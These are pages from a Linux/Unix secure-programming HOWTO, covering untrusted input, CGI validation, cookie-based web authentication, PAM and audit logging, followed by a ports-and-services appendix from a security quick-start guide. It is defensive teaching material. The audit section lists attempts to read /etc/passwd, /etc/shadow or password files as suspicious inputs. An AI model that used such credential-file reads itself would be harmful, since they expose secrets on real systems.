In general, only trust information (input or results) from trustworthy channels. For example, the routines getlogin(3) and ttyname(3) return information that can be controlled by a local user, so don't trust them for security purposes.

In most computer networks (and certainly for the Internet at large), no unauthenticated transmission is trustworthy. For example, packets sent over the public Internet can be viewed and modified at any point along their path, and arbitrary new packets can be forged. These forged packets might include forged information about the sender (such as their machine (IP) address and port) or receiver. Therefore, don't use these values as your primary criteria for security decisions unless you can authenticate them (say using cryptography).

This means that, except under special circumstances, two old techniques for authenticating users in TCP/IP should often not be used as the sole authentication mechanism. One technique is to limit users to ``certain machines'' by checking the ``from'' machine address in a data packet; the other is to limit access by requiring that the sender use a ``trusted'' port number (a number less that 1024). The problem is that in many environments an attacker can forge these values.

In some environments, checking these values (e.g., the sending machine IP address and/or port) can have some value, so it's not a bad idea to support such checking as an option in a program. For example, if a system runs behind a firewall, the firewall can't be breached or circumvented, and the firewall stops external packets that claim to be from the inside, then you can claim that any packet saying it's from the inside really does. Note that you can't be sure the packet actually comes from the machine it claims it comes from - so you're only countering external threats, not internal threats. However, broken firewalls, alternative paths, and mobile code make even these assumptions suspect.

The problem is supporting untrustworthy information as the only way to authenticate someone. If you need a trustworthy channel over an untrusted network, in general you need some sort of cryptologic service (at the very least, a cryptologically safe hash). See Section 10.5 for more information on cryptographic algorithms and protocols. If you're implementing a standard and inherently insecure protocol (e.g., ftp and rlogin), provide safe defaults and document the assumptions clearly.

The Domain Name Server (DNS) is widely used on the Internet to maintain mappings between the names of computers and their IP (numeric) addresses. The technique called ``reverse DNS'' eliminates some simple spoofing attacks, and is useful for determining a host's name. However, this technique is not trustworthy for authentication decisions. The problem is that, in the end, a DNS request will be sent eventually to some remote system that may be controlled by an attacker. Therefore, treat DNS results as an input that needs validation and don't trust it for serious access control.

Arbitrary email (including the ``from'' value of addresses) can be forged as well. Using digital signatures is a method to thwart many such attacks. A more easily thwarted approach is to require emailing back and forth with special randomly-created values, but for low-value transactions such as signing onto a public mailing list this is usually acceptable.

Note that in any client/server model, including CGI, that the server must assume that the client (or someone interposing between the client and server) can modify any value. For example, so-called ``hidden fields'' and cookie values can be changed by the client before being received by CGI programs. These cannot be trusted unless special precautions are taken. For example, the hidden fields could be signed in a way the client cannot forge as long as the server checks the signature. The hidden fields could also be encrypted using a key only the trusted server could decrypt (this latter approach is the basic idea behind the Kerberos authentication system). InfoSec labs has further discussion about hidden fields and applying encryption at http://www.infoseclabs.com/mschff/mschff.htm. In general, you're better off keeping data you care about at the server end in a client/server model. In the same vein, don't depend on HTTP_REFERER for authentication in a CGI program, because this is sent by the user's browser (not the web server).

This issue applies to data referencing other data, too. For example, HTML or XML allow you to include by reference other files (e.g., DTDs and style sheets) that may be stored remotely. However, those external references could be modified so that users see a very different document than intended; a style sheet could be modified to ``white out'' words at critical locations, deface its appearance, or insert new text. External DTDs could be modified to prevent use of the document (by adding declarations that break validation) or insert different text into documents [St. Laurent 2000].

Prev | Home | Next
Avoid Race Conditions | Up | Set up a Trusted Path


Types of Secure Programs

Secure Programming for Linux and Unix HOWTO
Prev Chapter 2. Background Next

2.5. Types of Secure Programs

Many different types of programs may need to be secure programs (as the term is defined in this book). Some common types are:

  • Application programs used as viewers of remote data. Programs used as viewers (such as word processors or file format viewers) are often asked to view data sent remotely by an untrusted user (this request may be automatically invoked by a web browser). Clearly, the untrusted user's input should not be allowed to cause the application to run arbitrary programs. It's usually unwise to support initialization macros (run when the data is displayed); if you must, then you must create a secure sandbox (a complex and error-prone task that almost never succeeds, which is why you shouldn't support macros in the first place). Be careful of issues such as buffer overflow, discussed in Chapter 5, which might allow an untrusted user to force the viewer to run an arbitrary program.

  • Application programs used by the administrator (root). Such programs shouldn't trust information that can be controlled by non-administrators.

  • Local servers (also called daemons).

  • Network-accessible servers (sometimes called network daemons).

  • Web-based applications (including CGI scripts). These are a special case of network-accessible servers, but they're so common they deserve their own category. Such programs are invoked indirectly via a web server, which filters out some attacks but nevertheless leaves many attacks that must be withstood.

  • Applets (i.e., programs downloaded to the client for automatic execution). This is something Java is especially famous for, though other languages (such as Python) support mobile code as well. There are several security viewpoints here; the implementer of the applet infrastructure on the client side has to make sure that the only operations allowed are ``safe'' ones, and the writer of an applet has to deal with the problem of hostile hosts (in other words, you can't normally trust the client). There is some research attempting to deal with running applets on hostile hosts, but frankly I'm skeptical of the value of these approaches and this subject is exotic enough that I don't cover it further here.

  • setuid/setgid programs. These programs are invoked by a local user and, when executed, are immediately granted the privileges of the program's owner and/or owner's group. In many ways these are the hardest programs to secure, because so many of their inputs are under the control of the untrusted user and some of those inputs are not obvious.

This book merges the issues of these different types of program into a single set. The disadvantage of this approach is that some of the issues identified here don't apply to all types of programs. In particular, setuid/setgid programs have many surprising inputs and several of the guidelines here only apply to them. However, things are not so clear-cut, because a particular program may cut across these boundaries (e.g., a CGI script may be setuid or setgid, or be configured in a way that has the same effect), and some programs are divided into several executables each of which can be considered a different ``type'' of program. The advantage of considering all of these program types together is that we can consider all issues without trying to apply an inappropriate category to a program. As will be seen, many of the principles apply to all programs that need to be secured.

There is a slight bias in this book toward programs written in C, with some notes on other languages such as C++, Perl, PHP, Python, Ada95, and Java. This is because C is the most common language for implementing secure programs on Unix-like systems (other than CGI scripts, which tend to use languages such as Perl, PHP, or Python). Also, most other languages' implementations call the C library. This is not to imply that C is somehow the ``best'' language for this purpose, and most of the principles described here apply regardless of the programming language used.

Prev | Home | Next
Is Open Source Good for Security? | Up | Paranoia is a Virtue


Specialized Security Extensions for Unix-like Systems

Secure Programming for Linux and Unix HOWTO
Prev Chapter 3. Summary of Linux and Unix Security Features Next

3.10. Specialized Security Extensions for Unix-like Systems

A vast amount of research and development has gone into extending Unix-like systems to support security needs of various communities. For example, several Unix-like systems have been extended to support the U.S. military's desire for multilevel security. If you're developing software, you should try to design your software so that it can work within these extensions.

FreeBSD has a new system call, jail(2). The jail system call supports sub-partitioning an environment into many virtual machines (in a sense, a ``super-chroot''); its most popular use has been to provide virtual machine services for Internet Service Provider environments. Inside a jail, all processes (even those owned by root) have the the scope of their requests limited to the jail. When a FreeBSD system is booted up after a fresh install, no processes will be in jail. When a process is placed in a jail, it, and any descendants of that process created will be in that jail. Once in a jail, access to the file name-space is restricted in the style of chroot(2) (with typical chroot escape routes blocked), the ability to bind network resources is limited to a specific IP address, the ability to manipulate system resources and perform privileged operations is sharply curtailed, and the ability to interact with other processes is limited to only processes inside the same jail. Note that each jail is bound to a single IP address; processes within the jail may not make use of any other IP address for outgoing or incoming connections.

Some extensions available in Linux, such as POSIX capabilities and special mount-time options, have already been discussed. Here are a few of these efforts for Linux systems for creating restricted execution environments; there are many different approaches. The U.S. National Security Agency (NSA) has developed Security-Enhanced Linux (Flask), which supports defining a security policy in a specialized language and then enforces that policy. The Medusa DS9 extends Linux by supporting, at the kernel level, a user-space authorization server. LIDS protects files and processes, allowing administrators to ``lock down'' their system. The ``Rule Set Based Access Control'' system, RSBAC is based on the Generalized Framework for Access Control (GFAC) by Abrams and LaPadula and provides a flexible system of access control based on several kernel modules. Subterfugue is a framework for ``observing and playing with the reality of software''; it can intercept system calls and change their parameters and/or change their return values to implement sandboxes, tracers, and so on; it runs under Linux 2.4 with no changes (it doesn't require any kernel modifications). Janus is a security tool for sandboxing untrusted applications within a restricted execution environment. Some have even used User-mode Linux, which implements ``Linux on Linux'', as a sandbox implementation. Because there are so many different approaches to implementing more sophisticated security models, Linus Torvalds has requested that a generic approach be developed so different security policies can be inserted; for more information about this, see http://mail.wirex.com/mailman/listinfo/linux-security-module.

There are many other extensions for security on various Unix-like systems, but these are really outside the scope of this document.

Prev | Home | Next
PAM | Up | Validate All Input


Using PAM

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.6. Using PAM

Pluggable Authentication Modules (PAM) is a flexible mechanism for authenticating users. Many Unix-like systems support PAM, including Solaris, nearly all Linux distributions (e.g., Red Hat Linux, Caldera, and Debian as of version 2.2), and FreeBSD as of version 3.1. By using PAM, your program can be independent of the authentication scheme (passwords, SmartCards, etc.). Basically, your program calls PAM, which at run-time determines which ``authentication modules'' are required by checking the configuration set by the local system administrator. If you're writing a program that requires authentication (e.g., entering a password), you should include support for PAM. You can find out more about the Linux-PAM project at http://www.kernel.org/pub/linux/libs/pam/index.html.

Prev | Home | Next
Cryptographic Algorithms and Protocols | Up | Tools


Web-Based Application Inputs (Especially CGI Scripts)

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.5. Web-Based Application Inputs (Especially CGI Scripts)

Web-based applications (such as CGI scripts) run on some trusted server and must get their input data somehow through the web. Since the input data generally come from untrusted users, this input data must be validated. Indeed, this information may have actually come from an untrusted third party; see Section 6.15 for more information. For example, CGI scripts are passed this information through a standard set of environment variables and through standard input. The rest of this text will specifically discuss CGI, because it's the most common technique for implementing dynamic web content, but the general issues are the same for most other dynamic web content techniques.

One additional complication is that many CGI inputs are provided in so-called ``URL-encoded'' format, that is, some values are written in the format %HH where HH is the hexadecimal code for that byte. You or your CGI library must handle these inputs correctly by URL-decoding the input and then checking if the resulting byte value is acceptable. You must correctly handle all values, including problematic values such as %00 (NIL) and %0A (newline). Don't decode inputs more than once, or input such as ``%2500'' will be mishandled (the %25 would be translated to ``%'', and the resulting ``%00'' would be erroneously translated to the NIL character).

CGI scripts are commonly attacked by including special characters in their inputs; see the comments above.

Another form of data available to web-based applications are ``cookies.'' Again, users can provide arbitrary cookie values, so they cannot be trusted unless special precautions are taken. Also, cookies can be used to track users, potentially invading user privacy. As a result, many users disable cookies, so if possible your web application should be designed so that it does not require the use of cookies (but see my later discussion for when you must authenticate individual users). I encourage you to avoid or limit the use of persistent cookies (cookies that last beyond a current session), because they are easily abused. Indeed, U.S. agencies are currently forbidden to use persistent cookies except in special circumstances, because of the concern about invading user privacy; see the OMB guidance in memorandum M-00-13 (June 22, 2000). Note that to use cookies, some browsers may insist that you have a privacy profile (named p3p.xml on the root directory of the server).

Some HTML forms include client-side input checking to prevent some illegal values; these are typically implemented using Javascript/ECMAscript or Java. This checking can be helpful for the user, since it can happen ``immediately'' without requiring any network access. However, this kind of input checking is useless for security, because attackers can send such ``illegal'' values directly to the web server without going through the checks. It's not even hard to subvert this; you don't have to write a program to send arbitrary data to a web application. In general, servers must perform all their own input checking (of form data, cookies, and so on) because they cannot trust clients to do this securely. In short, clients are generally not ``trustworthy channels''. See Section 6.11 for more information on trustworthy channels.

A brief discussion on input validation for those using Microsoft's Active Server Pages (ASP) is available from Jerry Connolly at http://heap.nologin.net/aspsec.html

Prev | Home | Next
File Contents | Up | Other Inputs


Authenticating on the Web

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.2. Authenticating on the Web

On the web, a web server is usually authenticated to users by using SSL or TLS and a server certificate - but it's not as easy to authenticate who the users are. SSL and TLS do support client-side certificates, but there are many practical problems with actually using them (e.g., web browsers don't support a single user certificate format and users find it difficult to install them). Using Java or Javascript has its own problems, since many users disable them, some firewalls filter them out, and they tend to be slow. In most cases, requiring every user to install a plug-in is impractical too, though if the system is only for an intranet for a relatively small number of users this may be appropriate.

If you're building an intranet application, you should generally use whatever authentication system is used by your users. Thus, if they depend on Kerberos, design your system to use Kerberos. Try to separate the authentication system from the rest of your application, since the organization may (will!) change their authentication system over time.

Many techniques don't work or don't work very well. One approach that works in some cases is to use ``basic authentication'', which is built into essentially all browsers and servers. Unfortunately, basic authentication sends passwords unencrypted, so it makes passwords easy to steal; basic authentication by itself is really useful only for worthless information. You could wrap all basic authentication passwords in an SSL/TLS connection (which would encrypt it), but this hurts performance. You could also use ``digest authentication'', which is a good technique but not universally supported by browsers. You could store authentication information in the URLs selected by the users, but for most circumstances you shouldn't do this - there are too many ways that this information can leak to others (e.g., through the browser history logs stored by many browsers, logs of proxies, and to other web sites through the Referer: field).

Thus, the most common technique for authenticating on the web today is through cookies. Cookies weren't really designed for this purpose, but they can be used for authentication - but there are many wrong ways to use them that create security vulnerabilities, so be careful. For more information about cookies, see IETF RFC 2965, along with the older specifications about them. Note that to use cookies, some browsers (e.g., Microsoft Internet Explorer 6) may insist that you have a privacy profile (named p3p.xml on the root directory of the server).

Note that some users don't accept cookies, so this solution still has some problems. Ideally, you should use send this authentication information back and forth via HTML form hidden fields (since nearly all browsers support them without concern). You'd use the same approach as with cookies - you'd just use a different technology to have the data sent from the user to the server. Naturally, if you implement this approach, you need to include settings to ensure that these pages aren't cached for use by others. However, while I think avoiding cookies is preferable, in practice these other approaches often require much more development effort. Since it's so hard to implement this on a large scale for many application developers, I'm not currently stressing these approaches. I would rather describe an approach that is reasonably secure and reasonably easy to implement, than emphasize approaches that are too hard to implement correctly (by either developers or users). However, if you can do so without much effort, by all means support sending the authentication information using form hidden fields and an encrypted link (e.g., SSL/TLS).

Fu [2001] discusses client authentication on the web, along with a suggested approach, and this is the approach I suggest for most sites. The basic idea is that client authentication is split into two parts, a ``login procedure'' and ``subsequent requests.'' In the login procedure, the server asks for the user's username and password, the user provides them, and the server replies with an ``authentication token''. In the subsequent requests, the client (web browser) sends the authentication token to the server (along with its request); the server verifies that the token is valid, and if it is, services the request. Another good source of information about web authentication is Seifried [2001].

10.2.1. Authenticating on the Web: Logging In

The login procedure is typically implemented as an HTML form; I suggest using the field names ``username'' and ``password'' so that web browsers can automatically perform some useful actions. Make sure that the password is sent over an encrypted connection (using SSL or TLS, through an https: connection) - otherwise, eavesdroppers could collect the password. Make sure all password text fields are marked as passwords, so that the password text is not visible to anyone who can see the user's screen.

When the username and password is sent, it must be checked against the user account database. This database shouldn't store the passwords ``in the clear'', since if someone got a copy of the this database they'd suddenly get everyone's password (and users often reuse passwords). Some use crypt() to handle this, but crypt can only handle a small input, so I recommend using a different approach (this is my approach - Fu [2001] doesn't discuss this). Instead, the user database should store a username, salt, and the password hash for that user. The ``salt'' is just a random sequence of characters, used to make it harder for attackers to determine a password even if they get the password database - I suggest an 8-character random sequence. It doesn't need to be cryptographically random, just different from other users. The password hash should be computed by concatenating ``server key1'', the user's password, and the salt, and then running a cryptographically secure hash algorithm. Server key1 is a secret key unique to this server - keep it separate from the password database. Someone who has server key1 could then run programs to crack user passwords if they also had the password database; since it doesn't need to be memorized, it can be a long and complex password. Most secure would be HMAC-SHA-1 or HMAC-MD5; you could use SHA-1 (most web sites aren't really worried about the attacks it allows) or MD5 (but see the discussion about MD5).

Thus, when users create their accounts, the password is hashed and placed in the password database. When users try to log in, the purported password is hashed and compared against the hash in the database (they must be equal). When users change their password, they should type in both the old and new password, and the new password twice (to make sure they didn't mistype it); and again, make sure none of these password's characters are visible on the screen.

By default, don't save the passwords themselves on the client's web browser using cookies - users may sometimes use shared clients (say at some coffee shop). If you want, you can give users the option of ``saving the password'' on their browser, but if you do, make sure that the password is set to only be transmitted on ``secure'' connections, and make sure the user has to specifically request it (don't do this by default).

Make sure that the page is marked to not be cached, or a proxy server might re-serve that page to other users.

Once a user successfully logs in, the server needs to send the client an ``authentication token'' in a cookie, which is described next.

10.2.2. Authenticating on the Web: Subsequent Actions

Once a user logs in, the server sends back to the client a cookie with an authentication token. A suggested token would look like this:
  exp=t&data=s&digest=m
Where t is the expiration time of the token (say, in several hours), data (say, the user name or session id), and the digest is a keyed digest. Feel free to change the field name of ``data'' to be more descriptive (e.g., username or sessionid). The keyed digest should be a cryptographic hash of the expiration time and the data concatenated. If you have more than one field of data (e.g., both a username and a sessionid), make sure the digest uses both the field names and data values of all fields you're authenticating; concatenate them with a pattern (say ``%%'', ``+'', or ``&'') that can't occur in any of the field data values. The keyed digest should use HMAC-MD5 or HMAC-SHA1, using a different server key (key2). If this key2 is compromised, anyone can authenticate to the server, but it's easy to change key2 - when you do, it'll simply force currently ``logged in'' users to re-authenticate. See Fu [2001] for more details.

From then on, the server should check the expiration time and the digest of this authentication token, and only server the data if it matches. If there's no token, it could reply with the user login page (with a hidden form field to show where the successful login should go).

If you include a sessionid in the authentication token, you can limit access further. Your server could ``track'' what pages a user has seen in a given session, and only permit access to other appropriate pages (e.g., only those directly linked from those page(s)). For example, if a user is granted access to page foo.html, and page foo.html has pointers to resources bar1.jpg and bar2.png, then accesses to bar4.cgi can be rejected. You could even kill the session, though only do this if the authentication information is valid (otherwise, this would make it possible for attackers to cause denial-of-service attacks on other users). This would somewhat limit the access an attacker has, even if they successfully hijack a session, though clearly an attacker with time and an authentication token could ``walk'' the links just as a normal user would.

One decision is whether or not to require the authentication token and/or data to be sent over a secure connection (e.g., SSL). If you send an authentication token in the clear (non-secure), someone who intercepts the token could do whatever the user could do until the expiration time. Also, when you send data over an unencrypted link, there's the risk of unnoticed change by an attacker; if you're worried that someone might change the data on the way, then you need to authenticate the data being transmitted. Encryption by itself doesn't guarantee authentication, but it does make corruption more likely to be detected, and typical libraries can support both encryption and authentication in a TLS/SSL connection. In general, if you're encrypting a message, you should also authenticate it. If your needs vary, one alternative is to create two authentication tokens - one is used only in a ``secure'' connection for important operations, while the other used for less-critical operations. Make sure the token used for ``secure'' connections is marked so that only secure connections (typically encrypted SSL/TLS connections) are used. If users aren't really different, the authentication token could omit the ``data'' entirely.

Again, make sure that the pages with this authentication token aren't cached. There are other reasonable schemes also; the goal of this text is to provide at least one secure solution. Many variations are possible.

10.2.3. Authenticating on the Web: Logging Out

You should always provide users with a mechanism to ``log out'' - this is especially helpful for customers using shared browsers (say at a library). Your ``logout'' routine's task is simple - just unset the client's authentication token.

Prev | Home | Next
Passwords | Up | Random Numbers


Why Did I Write This Document?

Secure Programming for Linux and Unix HOWTO
Prev Chapter 2. Background Next

2.7. Why Did I Write This Document?

One question I've been asked is ``why did you write this book''? Here's my answer: Over the last several years I've noticed that many developers for Linux and Unix seem to keep falling into the same security pitfalls, again and again. Auditors were slowly catching problems, but it would have been better if the problems weren't put into the code in the first place. I believe that part of the problem was that there wasn't a single, obvious place where developers could go and get information on how to avoid known pitfalls. The information was publicly available, but it was often hard to find, out-of-date, incomplete, or had other problems. Most such information didn't particularly discuss Linux at all, even though it was becoming widely used! That leads up to the answer: I developed this book in the hope that future software developers won't repeat past mistakes, resulting in more secure systems. You can see a larger discussion of this at http://www.linuxsecurity.com/feature_stories/feature_story-6.html.

A related question that could be asked is ``why did you write your own book instead of just referring to other documents''? There are several answers:

  • Much of this information was scattered about; placing the critical information in one organized document makes it easier to use.

  • Some of this information is not written for the programmer, but is written for an administrator or user.

  • Much of the available information emphasizes portable constructs (constructs that work on all Unix-like systems), and failed to discuss Linux at all. It's often best to avoid Linux-unique abilities for portability's sake, but sometimes the Linux-unique abilities can really aid security. Even if non-Linux portability is desired, you may want to support the Linux-unique abilities when running on Linux. And, by emphasizing Linux, I can include references to information that is helpful to someone targeting Linux that is not necessarily true for others.

Prev | Home | Next
Paranoia is a Virtue | Up | Sources of Design and Implementation Guidelines


Why do Programmers Write Insecure Code?

Secure Programming for Linux and Unix HOWTO
Prev Chapter 2. Background Next

2.3. Why do Programmers Write Insecure Code?

Many programmers don't intend to write insecure code - but do anyway. Here are a number of purported reasons for this. Most of these were collected and summarized by Aleph One on Bugtraq (in a posting on December 17, 1998):

  • There is no curriculum that addresses computer security in most schools. Even when there is a computer security curriculum, they often don't discuss how to write secure programs as a whole. Many such curriculum only study certain areas such as cryptography or protocols. These are important, but they often fail to discuss common real-world issues such as buffer overflows, string formatting, and input checking. I believe this is one of the most important problems; even those programmers who go through colleges and universities are very unlikely to learn how to write secure programs, yet we depend on those very people to write secure programs.

  • Programming books/classes do not teach secure/safe programming techniques. Indeed, until recently there were no books on how to write secure programs at all (this book is one of those few).

  • No one uses formal verification methods.

  • C is an unsafe language, and the standard C library string functions are unsafe. This is particularly important because C is so widely used - the ``simple'' ways of using C permit dangerous exploits.

  • Programmers do not think ``multi-user.''

  • Programmers are human, and humans are lazy. Thus, programmers will often use the ``easy'' approach instead of a secure approach - and once it works, they often fail to fix it later.

  • Most programmers are simply not good programmers.

  • Most programmers are not security people; they simply don't often think like an attacker does.

  • Most security people are not programmers. This was a statement made by some Bugtraq contributors, but it's not clear that this claim is really true.

  • Most computer security models are terrible.

  • There is lots of ``broken'' legacy software. Fixing this software (to remove security faults or to make it work with more restrictive security policies) is difficult.

  • Consumers don't care about security. (Personally, I have hope that consumers are beginning to care about security; a computer system that is constantly exploited is neither useful nor user-friendly. Also, many consumers are unaware that there's even a problem, assume that it can't happen to them, or think that that things cannot be made better.)

  • Security costs extra development time.

  • Security costs in terms of additional testing (red teams, etc.).

Prev | Home | Next
Security Principles | Up | Is Open Source Good for Security?


Windows CE

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.8. Windows CE

If you're securing a Windows CE Device, you should read Maricia Alforque's "Creating a Secure Windows CE Device" at http://msdn.microsoft.com/library/techart/winsecurity.htm.

Prev | Home | Next
Tools | Up | Write Audit Records


Write Audit Records

Secure Programming for Linux and Unix HOWTO
Prev Chapter 10. Special Topics Next

10.9. Write Audit Records

Write audit logs for program startup, session startup, and for suspicious activity. Possible information of value includes date, time, uid, euid, gid, egid, terminal information, process id, and command line values. You may find the function syslog(3) helpful for implementing audit logs. One awkward problem is that any logging system should be able to record a lot of information (since this information could be very helpful), yet if the information isn't handled carefully the information itself could be used to create an attack. After all, the attacker controls some of the input being sent to the program. When recording data sent by a possible attacker, identify a list of ``expected'' characters and escape any ``unexpected'' characters so that the log isn't corrupted. Not doing this can be a real problem; users may include characters such as control characters (especially NIL or end-of-line) that can cause real problems. For example, if an attacker embeds a newline, they can then forge log entries by following the newline with the desired log entry. Sadly, there doesn't seem to be a standard convention for escaping these characters. I'm partial to the URL escaping mechanism (%hh where hh is the hexadecimal value of the escaped byte) but there are others including the C convention (\ooo for the octal value and \X where X is a special symbol, e.g., \n for newline). There's also the caret-system (^I is control-I), though that doesn't handle byte values over 127 gracefully.

There is the danger that a user could create a denial-of-service attack (or at least stop auditing) by performing a very large number of events that cut an audit record until the system runs out of resources to store the records. One approach to counter to this threat is to rate-limit audit record recording; intentionally slow down the response rate if ``too many'' audit records are being cut. You could try to slow the response rate only to the suspected attacker, but in many situations a single attacker can masquerade as potentially many users.

Selecting what is ``suspicious activity'' is, of course, dependent on what the program does and its anticipated use. Any input that fails the filtering checks discussed earlier is certainly a candidate (e.g., containing NIL). Inputs that could not result from normal use should probably be logged, e.g., a CGI program where certain required fields are missing in suspicious ways. Any input with phrases like /etc/passwd or /etc/shadow or the like is very suspicious in many cases. Similarly, trying to access Windows ``registry'' files or .pwl files is very suspicious.

Do not record passwords in an audit record. Often people accidentally enter passwords for a different system, so recording a password may allow a system administrator to break into a different computer outside the administrator's domain.

Prev | Home | Next
Windows CE | Up | Physical Emissions


Appendix

Security Quick-Start HOWTO for Linux
Prev

8. Appendix

8.1. Servers, Ports, and Packets

Let's take a quick, non-technical look at some networking concepts, and how they can potentially impact our own security. We don't need to know much about networking, but a general idea of how things work is certainly going to help us with firewalls and other related issues.

As you may have noticed Linux is a very network oriented Operating System. Much is done by connecting to "servers" of one type or another -- X servers, font servers, print servers, etc.

Servers provide "services", which provide various capabilities, both to the local system and potentially other remote systems. The same server generally provides both functionalities. Some servers work quietly behind the scenes, and others are more interactive by nature. We may only be aware of a print server when we need to print something, but it is there running, listening, and waiting for connection requests whether we ever use it or not (assuming of course we have it enabled). A typical Linux installation will have many, many types of servers available to it. Default installations often will turn some of these "on".

And even if we are not connected to a real network all the time, we are still "networked" so to speak. Take our friendly local X server for instance. We may tend to think of this as just providing a GUI interface, which is only true to a point. It does this by "serving" to client applications, and thus is truly a server. But X Windows is also capable of serving remote clients over a network -- even large networks like the Internet. Though we probably don't really want to be doing this ;-)

And yes, if you are not running a firewall or have not taken other precautions, and are connected to the Internet, it is quite possible that someone -- anyone -- could connect to your X server. X11 "listens" on TCP "port" 6000 by default. This principle applies to most other servers as well -- they can be easily connected to, unless something is done to restrict or prevent connections.

In TCP/IP (Transmission Control Protocol/Internet Protocol) networks like we are talking about with Linux and the Internet, every connected computer has a unique "IP Address". Think of this like a phone number. You have a phone number, and in order to call someone else, you have to know that phone number, and then dial it. The phone numbers have to be unique for the system to work. IP address are generally expressed as "dotted quad" notation, e.g. 152.19.254.81.

On this type of network, servers are said to "listen". This means that they have a "port" opened, and are awaiting incoming connections to that port. Connections may be local, as is typically the case with our X server, or remote -- meaning from another computer "somewhere". So servers "listen" on a specific "port" for incoming connections. Most servers have a default port, such as port 80 for web servers. Or 6000 for X11. See /etc/services for a list of common ports and their associated service.

The "port" is actually just an address in the kernel's networking stack, and is a method that TCP, and other protocols, use to organize connections and the exchange of data between computers. There are total of 65,536 TCP and UDP ports available, though usually only a relatively few of these are used at any one time. These are classified as "privileged", those ports below 1024, and "unprivileged", 1024 and above. Most servers use the privileged ports.

Only one server may listen on, or "bind" to, a port at a time. Though that server may well be able to open multiple connections via that one port. Computers talk to each other via these "port" connections. One computer will open a connection to a "port" on another computer, and thus be able to exchange data via the connection that has been established between their respective ports.

Getting back to the phone analogy, and stretching it a bit, think of calling a large organization with a complex phone system. The organization has many "departments": sales, shipping, billing, receiving, customer service, R&D, etc. Each department has it's own "extension" number. So the shipping department might be extension 21, the sales might be department 80 and so on. The main phone number is the IP Address, and the department's extension is the port in this analogy. The "department's" number is always the same when we call. And generally they can handle many simultaneous incoming calls.

The data itself is contained in "packets", which are small chunks of data, generally 1500 bytes or less each. Packets are used to control and organize the connection, as well as carry data. There are different types of packets. Some are specifically used for controlling the connection, and then some packets carry our data as their payload. If there is a lot of data, it will be broken up into multiple packets which is almost always how it works. The packets will be transmitted one at a time, and then "re-assembled" at the other end. One web page for instance, will take many packets to transmit -- maybe hundreds or even thousands. This all happens very quickly and transparently.

We can see a typical connection between two computers in this one line excerpt from netstat output:

 tcp    30    0 169.254.179.139:1359    18.29.1.67:21      CLOSE_WAIT

The interesting part is the IP addresses and ports in the fourth and fifth columns. The port is the number just to the right of the colon. The left side of the colon is the IP address of each computer. The fourth column is the local address, or our end of the connection. In the example, 169.254.179.139 is the IP address assigned by my ISP. It is connected to port 21 (FTP) on 18.29.1.67, which is rpmfind.net. This is just after an FTP download from rpmfind.net. Note that while I am connected to their FTP server on their port 21, the port on my end that is used by my FTP client is 1359. This is a randomly assigned "unprivileged" port, used for my end of the two-way "conversation". The data moves in both directions: me:port#1359 <-> them:port#21. The FTP protocol is actually a little more complicated than this, but we won't delve into the finer points here. The CLOSE_WAIT is the TCP state of the connection at this particular point in time. Eventually the connection will close completely on both ends, and netstat will not show anything for this.

The "unprivileged" port that is used for my end of the connection, is temporary and is not associated with a locally running server. It will be closed by the kernel when the connection is terminated. This is quite different than the ports that are kept open by "listening" servers, which are permanent and remain "open" even after a remote connection is terminated.

So to summarize using the above example, we have client (me) connecting to a server (rpmfind.net), and the connection is defined and controlled by the respective ports on either end. The data is transmitted and controlled by packets. The server is using a "privileged" port (i.e. a port below number 1024) which stays open listening for connections. The "unprivileged" port used on my end by my client application is temporary, is only opened for the duration of the connection, and only responds to the server's port at the other end of the connection. This type of port is not vulnerable to attacks or break-ins generally speaking. The server's port is vulnerable since it remains open. The administrator of the FTP server will need to take appropriate precautions that his server is secure. Other Internet connections, such as to web servers or mail servers, work similar to the above example, though the server ports are different. SMTP mail servers use port 25, and web servers typically use port 80. See the Ports section for other commonly used ports and services.

One more point on ports: ports are only accessible if there is something listening on that port. No one can force a port open if there is no service or daemon listening there, ready to handle incoming connection requests. A closed port is a totally safe port.

And a final point on the distinction between clients and servers. The example above did not have a telnet or ftp server in the LISTENER section in the netstat example above. In other words, no such servers were running locally. You do not need to run a telnet or ftp server daemon in order to connect to somebody else's telnet or ftp server. These are only for providing these services to others that would be making connections to you. Which you don't really want to be doing in most cases. This in no way effects the ability to use telnet and ftp client software.

8.2. Common Ports

A quick run down of some commonly seen and used ports, with the commonly associated service name, and risk factor. All have some risk. It is just that some have historically had more exploits than others. That is how they are evaluated below, and not necessarily to be interpreted as whether any given service is safe or not.

1-19, assorted protocols, many of which are antiquated, and probably none of which are needed on a modern system. If you don't know what any of these are, then you definitely don't need them. The echo service (port 7) should not be confused with the common ping program. Leave all these off.

20 - FTP-DATA. "Active" FTP connections use two ports: 21 is the control port, and 20 is where the data comes through. Passive FTP does not use port 20 at all. Low risk, but see below.

21 - FTP server port, aka File Transfer Protocol. A well entrenched protocol for transferring files between systems. Very high risk, and maybe the number one crack target.

22 - SSH (Secure Shell), or sometimes PCAnywhere. Low to moderate risk (yes there are exploits even against so called "secure" services).

23 - Telnet server. For LAN use only. Use ssh instead in non-secure environments. Moderate risk.

25 - SMTP, Simple Mail Transfer Protocol, or mail server port, used for sending outgoing mail, and transferring mail from one place to another. Moderate risk. This has had a bad history of exploits, but has improved lately.

37 - Time service. This is the built-in inetd time service. Low risk. For LAN use only.

53 - DNS, or Domain Name Server port. Name servers listen on this port, and answer queries for resolving host names to IP addresses. High Risk.

67 (UDP) - BOOTP, or DHCP, server port. Low risk. If using DHCP on your LAN, this does not need to be exposed to the Internet.

68 (UDP) - BOOTP, or DHCP, client port. Low risk.

69 - tftp, or Trivial File Transfer Protocol. Extremely insecure. LAN only, if really, really needed.

79 - Finger, used to provide information about the system, and logged in users. Low risk as a crack target, but gives out way too much information and should not be run.

80 - WWW or HTTP standard web server port. The most commonly used service on the Internet. Low risk.

98 - Linuxconf web access administrative port. LAN only, if really needed at all.

110 - POP3, aka Post Office Protocol, mail server port. POP mail is mail that the user retrieves from a remote system. Low risk.

111 - sunrpc (Sun Remote Procedure Call), or portmapper port. Used by NFS (Network File System), NIS (Network Information Service), and various related services. Sounds dangerous and is high risk. LAN use only. A favorite crack target.

113 - identd, or auth, server port. Used, and sometimes required, by some older style services (like SMTP and IRC) to validate the connection. Probably not needed in most cases. Low risk, but could give an attacker too much information about your system.

119 -- nntp or news server port. Low risk.

